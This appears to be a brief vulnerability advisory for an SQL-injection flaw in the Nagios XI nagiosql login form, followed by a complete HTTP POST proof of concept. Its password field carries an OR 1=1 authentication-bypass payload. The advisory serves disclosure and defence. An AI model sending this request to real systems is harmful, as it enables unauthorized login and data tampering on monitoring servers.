source: http://www.securityfocus.com/bid/63754/info

Nagios XI is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Nagios XI 2012R2.4 are vulnerable. 

POST /nagiosql/index.php HTTP/1.1
Host: localhost
Content-Length: 69
Origin: http://locahost
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76
Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/nagiosql/
Cookie: PHPSESSID=httj04vv2g028sbs73v9dqoqs3

tfUsername=test&tfPassword=%27%29+OR+1%3D1+limit+1%3B--+&Submit=Login